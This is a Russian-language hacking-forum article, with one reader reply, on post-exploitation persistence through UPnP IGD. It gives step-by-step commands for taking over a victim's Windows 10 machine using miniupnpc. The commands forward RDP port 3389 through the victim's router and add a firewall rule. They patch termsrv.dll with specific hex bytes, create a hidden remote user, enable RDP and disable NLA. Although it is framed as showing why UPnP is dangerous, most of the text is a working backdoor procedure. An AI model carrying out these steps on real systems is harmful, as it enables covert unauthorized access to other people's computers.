• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Статья [Post Exploitation] - Проброс портов без доступа к роутеру или чем опасен UPnP IGD

gushmazuko

gushmazuko

Red Team
24.03.2017
159
388
[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD

Введение
Здравствуйте жители и гости CodeBy! Хочу сделать маленький обзор одной утилиты для работы с UPnP IGD и продемонстрировать как злоумышленник может использовать этот протокол в своих целях (точнее один из возможных сценариев). Полагаю как вы уже знаете UPnP (Universal Plug and Play) - это набор сетевых протоколов упрощающих настройку сетевых устройств в локальной сети. Одним из них и является IGD (Internet Gateway Device Protocol) - протокол для динамического проброса портов в сетях NAT. Наверное вы подумали что проблема затрагивает только IPv4. Но нет, не смотря на то что в IP шестой версии нету "преобразования сетевых адресов" и каждое устройство в сети получает публичный адрес, во второй версии стандарта UPnP IGD для него нашлось решение - Pinhole. Он задает инструкцию межсетевому экрану для разрешения трафика через определенные порты по определенным протоколам к определенным сетевым адресам.


Основная часть
Допустим мы имеем доступ к компьютеру жертвы под управлением Windows 10 и заполучили привилегии администратора.

[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD

Скачаем утилиту и загрузим ее к нашей жертве
Bash:
wget https://github.com/miniupnp/miniupnp/releases/download/miniupnpc_2_1/win32-miniupnpc-2.1.zip
unzip win32-miniupnpc-2.1.zip -d miniupnpc
Нам нужен только экзешник upnpc-static.exe из скачанного архива.
При запуске без дополнительных параметров выводится следующая инструкция:
Код:
Usage :    upnpc-static.exe [options] -a ip port external_port protocol [duration]
        Add port redirection
           upnpc-static.exe [options] -d external_port protocol <remote host>
        Delete port redirection
           upnpc-static.exe [options] -s
        Get Connection status
           upnpc-static.exe [options] -l
        List redirections
           upnpc-static.exe [options] -L
        List redirections (using GetListOfPortMappings (for IGD:2 only)
           upnpc-static.exe [options] -n ip port external_port protocol [duration]
        Add (any) port redirection allowing IGD to use alternative external_port (for IGD:2 only)
           upnpc-static.exe [options] -N external_port_start external_port_end protocol [manage]
        Delete range of port redirections (for IGD:2 only)
           upnpc-static.exe [options] -r port1 [external_port1] protocol1 [port2 [external_port2] protocol2] [...]
        Add all redirections to the current host
           upnpc-static.exe [options] -A remote_ip remote_port internal_ip internal_port protocol lease_time
        Add Pinhole (for IGD:2 only)
           upnpc-static.exe [options] -U uniqueID new_lease_time
        Update Pinhole (for IGD:2 only)
           upnpc-static.exe [options] -C uniqueID
        Check if Pinhole is Working (for IGD:2 only)
           upnpc-static.exe [options] -K uniqueID
        Get Number of packets going through the rule (for IGD:2 only)
           upnpc-static.exe [options] -D uniqueID
        Delete Pinhole (for IGD:2 only)
           upnpc-static.exe [options] -S
        Get Firewall status (for IGD:2 only)
           upnpc-static.exe [options] -G remote_ip remote_port internal_ip internal_port protocol
        Get Outbound Pinhole Timeout (for IGD:2 only)
           upnpc-static.exe [options] -P
        Get Presentation url

protocol is UDP or TCP
Options:
  -e description : set description for port mapping.
  -6 : use ip v6 instead of ip v4.
  -u url : bypass discovery process by providing the XML root description url.
  -m address/interface : provide ip address (ip v4) or interface name (ip v4 or v6) to use for sending SSDP multicast packets.
  -z localport : SSDP packets local (source) port (1024-65535).
  -p path : use this path for MiniSSDPd socket.
  -t ttl : set multicast TTL. Default value is 2.

Поищем работающий сервис UPnP IGD в нашей сети и проверим его состояние. (В смысле в сети жертвы:))

[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD

В дальнейшем мы можем пропускать процесс обнаружения добавив аргумент: -u , еще это пригодится если в сети несколько роутеров с включенным UPnP.
Код:
upnpc-static.exe -u http://192.168.0.254:5678/desc/root -l

[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD

Такие программы как Skype, uTorrent и даже WhatsApp активно пользуются этим сервисом. Впрочем в нашей ситуации мы видим проброшенный порт программой uTorrent.


Давайте к делу
Скрытно от нашей жертвы создадим пользователи удаленного управления, такой пользователь не виден на экране входа.

Проброс порта 3389 (Windows RDP), скати мы можем задать время жизни редиректа, если ничего не указывать редирект будет статичным. В UPnP IGD V2 максимально допустимый срок это 7 дней.
Код:
upnpc-static.exe -u http://192.168.0.254:5678/desc/root -e Management -a 192.168.0.29 3389 3389 TCP

[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD


[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD


Сразу же добавим правило в Windows Firewall, без этого редирект бесполезен в нашем случае. Если бы порт уже использовался в локальной сети этого не пришлось бы делать.
Код:
netsh advfirewall firewall add rule name="Management" protocol=TCP dir=in localport=3389 action=allow

По умолчанию обычный Windows не позволяет одновременно работать более чем одному пользователю, поэтому исправим это недоразумение. Скачаем файл C:\Windows\System32\termsrv.dll себе на комп.

[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD

Открываем файл в hexeditor, меняем 39 81 3C 06 00 00 0F 84 7F 2C 01 00 на B8 00 01 00 00 89 81 38 06 00 00 90

[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD

сохраняем и обратно заливаем на место

[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD


Теперь осталось создать пользователя с единственной группой "Remote Desktop Users" и включить саму службу RDP.

[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD

Включение RDP
Код:
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0
[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD

Профит
На этом все подошло к концу и наша жертва готова не много поделиться с нами со своими ресурсами. Подключаемся к его публичному адресу и попадаем на компьютер в локальной сети.

[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD


[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD


Можно подключиться прямо с Kali Linux, для этого необходимо выключить защитный механизм NLA (Network Level Authentication) в Windows. Делается следующей командой:
Код:
powershell "Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 0"

[Post Exploitation]  - Проброс портов без доступа к роутеру или чем опасен UPnP IGD


Видео к статье:

Полезные ссылки:




Пожалуй на этом я закончу. Всем спасибо за внимание и до скорой встречи!
 
Последнее редактирование:
moonz

moonz

Happy New Year
14.11.2017
28
12
Опасная штука в умелых руках, попробую воспроизвести дома)
С наступающим, и спасибо за материал! :coffee:
 
  • Нравится
Реакции: gushmazuko
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб